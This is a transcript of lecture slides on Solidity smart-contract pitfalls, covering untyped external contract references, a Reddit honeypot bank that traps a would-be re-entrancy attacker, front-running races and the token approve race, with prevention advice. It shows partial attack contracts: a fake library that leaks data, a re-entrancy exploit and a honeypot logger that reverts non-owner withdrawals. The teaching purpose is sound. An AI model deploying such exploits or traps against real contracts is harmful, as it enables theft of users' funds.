Solidity Pitfalls and Hazards

Slides:



Advertisements
Similar presentations
MFA for Business Banking – Security Code Multifactor Authentication: Quick Tip Sheets Note to Financial Institutions: We are providing these QT sheets.
Advertisements

Building Bucks Basic Financial Services. Financial Institutions 3 Main Types – Banks – Credit Unions – Savings and Loan Associations (S&L) Advantages.
Secure Multiparty Computations on Bitcoin
ITIS 6200/ Secure multiparty computation – Alice has x, Bob has y, we want to calculate f(x, y) without disclosing the values – We can only do.
Digital Signatures and Hash Functions. Digital Signatures.
Payment Systems 1. Electronic Payment Schemes Schemes for electronic payment are multi-party protocols Payment instrument modeled by electronic coin that.
Chapter 19, Lesson 3 Saving and Investing.
Introduction to Modern Cryptography, Lecture 13 Money Related Issues ($$$) and Odds and Ends.
Oblivious Transfer based on the McEliece Assumptions
ITIS 6200/8200. time-stamping services Difficult to verify the creation date and accurate contents of a digital file Required properties of time-stamping.
CMSC 414 Computer and Network Security Lecture 19 Jonathan Katz.
Chapter 5 The Banking System
Chapters 29 & 30 Checking and Savings Accounts. Thinking Questions Are you saving money for something you want or need? How do you keep track of your.
Financial Literacy Part I. Spending We live in a world where the pressure to spend money is constant. You are surrounded by ads. And advertisers are now.
Saving and Investing Mr. Mizak Economics Fall 2009.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
CS 346 – Chapter 8 Main memory –Addressing –Swapping –Allocation and fragmentation –Paging –Segmentation Commitment –Please finish chapter 8.
 CONVENIENT  HELPS YOU KEEP TRACK OF MONEY: USING THE CHECK REGISTER OR ONLINE BANKING  SAVES YOU MONEY – EXPENSES ARE LESS THAN MONEY ORDERS.
McGraw-Hill/Irwin ©2008 The McGraw-Hill Companies, All Rights Reserved Chapter Twelve Managing and Pricing Deposit Services.
Day 1 Terms of the Day 1. Financial- having to do with money 2. Financial Management- how you manage your money 3. Financial Goal- something you wish.
Deposit Accounts Created By: Laura Kinchen. Two Categories:  Transaction deposits An account that allows transactions to occur at any time and in any.
1 Object-Oriented Analysis Use Case Driven. 2 The outline method for OOA 1.Identify object classes within the problem domain 2.Define the behaviour of.
4 th lecture.  Message to be encrypted: HELLO  Key: XMCKL H E L L O message 7 (H) 4 (E) 11 (L) 11 (L) 14 (O) message + 23 (X) 12 (M) 2 (C) 10 (K) 11.
Personal Finance The Parts of a Check.
Savings Accounts Chapter 30. Today’s Schedule Yesterday’s Quiz Review Homework Collection No Homework – Enjoy your break Chapter 30 Quiz.
Network Security – Special Topic on Skype Security.
14.1 Copyright © The McGraw-Hill Companies, Inc. Permission required for reproduction or display. Chapter 14 Entity Authentication.
Network Security Continued. Digital Signature You want to sign a document. Three conditions. – 1. The receiver can verify the identity of the sender.
3.7 Money Market and CD Accounts
Deposit Accounts. Two Categories: Transaction deposits  An account that allows transactions to occur at any time and in any number. AKA demand deposits.
4.1: DEPOSIT ACCOUNTS CHAPTER 4: DEPOSITS IN BANKS.
CGS 3763 Operating Systems Concepts Spring 2013 Dan C. Marinescu Office: HEC 304 Office hours: M-Wd 11: :30 AM.
0 Glencoe Accounting Unit 2 Chapter 11 Copyright © by The McGraw-Hill Companies, Inc. All rights reserved. Chapter 11 Cash Control and Banking Activities.
SECURITY. Security Threats, Policies, and Mechanisms There are four types of security threats to consider 1. Interception 2 Interruption 3. Modification.
Savings Options, Features and Plans Section 2 Notes Chapter 10 Unit 4: Saving.
Using Bank Services Chapter 33. Checking Accounts A customer deposits money in an account and receives a book of checks. May deposit or withdraw money.
Chapter 3 Business Transactions and the Accounting Equation
Motivation ✓ ✘ ? Bitcoin/Ideal Credit Card Works on Internet
CSCD 330 Network Programming
Blockchain Infrastructure for e-Science
Important Point for ILO Appliers
Storyboarding and Game Design SBG, MBG620 Full Sail University
How are Albert Einstein and the Rule of 72 related?
How are Albert Einstein and the Rule of 72 related?
Sharing on the Internet
How are Albert Einstein and the Rule of 72 related?
Proof of performance REQUESTING ACCESS
How are Albert Einstein and the Rule of 72 related?
The Pentester’s View on Blockchain Projects
Riding Someone Else’s Wave with CSRF
Blockchain Disasters Nikolay Angelov Blockchain Developer.
Instructor: Craig Duckett
SECTION 4-4 Bank Statements pp
How are Albert Einstein and the Rule of 72 related?
Saving at a depository institution Choosing Savings Tools
Solidity CS1951 L Spring February 2019 Maurice Herlihy
CSE 153 Design of Operating Systems Winter 19
Data Structures in Ethereum
ELC 200 DAY 25 & 26.
Ethereum Virtual Machine
Off-Chain Payment Channels
Solidity Pitfalls and Hazards
Concurrency in Smart Contracts
Scalable and Privacy-preserving Design of On/Off-chain Smart Contracts
Paxos Made Simple.
Security: Integrity, Authentication, Non-repudiation
Chapter 8 roadmap 8.1 What is network security?
HOW TO PLACE MY ORDER ?.
Race Condition Vulnerability
Presentation transcript:

Solidity Pitfalls and Hazards (Part Three) CS1951 L Spring 2019 28 February 2019 Maurice Herlihy Brown University

External Contract References Today’s Pitfalls: External Contract References Race Conditions

External Contract Reference Attack Contract addresses are untyped You might not be calling the contract you think

Simple Encryption Library Example contract EncryptionContract { Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); Simple Encryption Library

Example contract EncryptionContract { Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); encryption library address

Example contract EncryptionContract { Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); library address passed in by constructor

Example contract EncryptionContract { Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); library address called by function

Adversary’s Encryption Library contract FakeEncryption{ event Print(string text); function rot13Encrypt(string text) public { emit Print(text); } Fake Library that Leaks Sensitive Data

Adversary’s Deployment contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); }

Adversary’s Deployment contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); } Create fake encryption library

Adversary’s Deployment contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); } Cast fake library type to real library type Solidity’s feeble type system no match for Evil!

Adversary’s Deployment contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); } Initialize contract with fake encryption library All your secrets are now belong to us!

True Story from Reddit “While randomly browsing some contracts on Etherscan, I stumbled on this contract” https://www.reddit.com/r/ethdev/comments/7x5rwr/tricked_by_a_honeypot_contract_or_beaten_by/

Also vanilla logging library, not shown contract Private_Bank { mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { Simple Bank Also vanilla logging library, not shown

contract Private_Bank { mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { depositors’ balances

contract Private_Bank { mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { minimum deposit

contract Private_Bank { mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { library to format log of events

contract Private_Bank { … function Private_Bank(address _log) { TransferLog = Log(_log); } constructor initializes logging library

contract Private_Bank { … function Deposit() public payable { if (msg.value >= MinDeposit) { balances[msg.sender]+=msg.value; TransferLog.AddMessage( msg.sender, msg.value, "Deposit"); } Deposit tracks value, logs deposit

contract Private_Bank { … function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage( msg.sender, _am, "withdraw"); } withdraw checks balance, sends ETH, updates balance, … oh, wait …

Re-entrancy vulnerability!!! contract Private_Bank { … function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage( msg.sender, _am, "withdraw"); } Re-entrancy vulnerability!!!

“I can have some fun and try out this hack, and give the funds back to the contract creator later.” True Story from Reddit

“There's 1 ETH in there, so it should be a fun challenge, maybe do a victorious blog post later” True Story from Reddit

contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) {

contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { Deposit ether so we have something to withdraw

contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { Withdraw, exploiting re-entrancy vulnerability

contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { Keep going, until we have 2 ether

“It didn't work. The ETH got stuck in his contract “It didn't work! The ETH got stuck in his contract. … What's funny is that … the ETH was transferred to his contract, then two transfers … to my exploit contract, however it didn't get anything…” True Story from Reddit

Honey Pot

contract Private_Bank { … function Private_Bank(address _log) { TransferLog = Log(_log); } constructor initializes logging library

But not that library! contract Private_Bank { … function Private_Bank(address _log) { TransferLog = Log(_log); } constructor initializes logging library But not that library!

contract HoneyPotLogLOL { … function AddMessage(address _adr, uint _val, string _data) public { if (_data == “withdraw” && msg.sender != owner) { revert(); }

contract HoneyPotLogLOL { … function AddMessage(address _adr, uint _val, string _data) public { if (_data == “withdraw” && msg.sender != owner) { revert(); } Non-owner wants to cash out? BOOM, revert!

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); }

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } First withdrawal function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} Balance good

ETH to fallback function function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}

re-entrant withdraw call function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } re-entrant withdraw call function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } call returns function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } re-entrancy ends function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} call returns

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} reverts, undoes transfer

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } reverts function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } call does not propagate revert, just returns false function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}

function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} test fails, no transfer, returns

transaction completes but nothing transferred! function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } transaction completes “successfully”, but nothing transferred!

Prevention constructor() { encryptionLibrary = new Rot13Encryption(); } Use new to create contracts

Prevention address constant Rot13Encryption = 0xcafecafecafecafecafecafecafe…; Hardcode Addresses when Possible

This Happened

Race Conditions Miners choose transaction order based on gasPrice Attacker can monitor pool and contract state … and insert transactions in block before victim’s

“Find This Hash” Game contract FindThisHash { contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } “Find This Hash” Game contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} function solve(string solution) public { require(hash == sha3(solution)); msg.sender.transfer(1000 ether); }

“Find This Hash” Game contract FindThisHash { contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } “Find This Hash” Game contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} function solve(string solution) public { require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } Load with ether

“Find This Hash” Game contract FindThisHash { contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } “Find This Hash” Game contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a; constructor() public payable {} function solve(string solution) public { require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } Earn 1000 ether if you can find preimage of hash

Alice realizes solution is “Ethereum!” She calls FTHContract.solve(“Ethereum!”) Bob sees her transaction, validates answer, and resubmits with much higher gasPrice Most likely, miners will order Bob’s transaction before Alice’s

Prevention Contracts can put upper bound on gasPrice Does not protect against abuse by miners

Prevention Parties use commit-reveal scheme Commit to bid with hash After transaction complete, reveal hash preimage Prevents both miners and users from frontrunning Does not hide transaction value

This Happened Standard for tradeable tokens Widely used for ICOs Market cap about $40 Billion

I am willing to allow this party … … to withdraw this amount … … from my account.

Alice authorizes Bob to withdraw $100 Alice Bob miner

Alice authorizes Bob to withdraw $100 Alice miner Bob I am Bob’s secret friend miner

adversarial scheduler Alice authorizes Bob to withdraw $100 Alice Bob Think of me as an adversarial scheduler miner

Miner, please change Bob’s authorization to $50 Alice authorizes Bob to withdraw $100 Alice !!! !!! Bob miner

Miner, please authorize Bob for $50 Alice authorizes Bob to withdraw $100 Miner, please authorize Bob for $50 Bob withdraws $100 Alice Heh-heh… Heh-heh… Bob miner

Miner, please authorize Bob for $50 Alice authorizes Bob to withdraw $100 Miner, please authorize Bob for $50 Bob withdraws $100 Alice Alice authorizes Bob to withdraw $50 Got $100 Bob miner

Miner, please authorize Bob for $50 Alice authorizes Bob to withdraw $100 Miner, please authorize Bob for $50 Bob withdraws $100 Alice Alice authorizes Bob to withdraw $50 Bob withdraws $50 Got $150 Bob miner

Problem is non-atomic “read then write”

One fix is to turn approve into a “compare-and-swap-like” operation

External Contract References Ideas we covered in this lecture External Contract References Race Conditions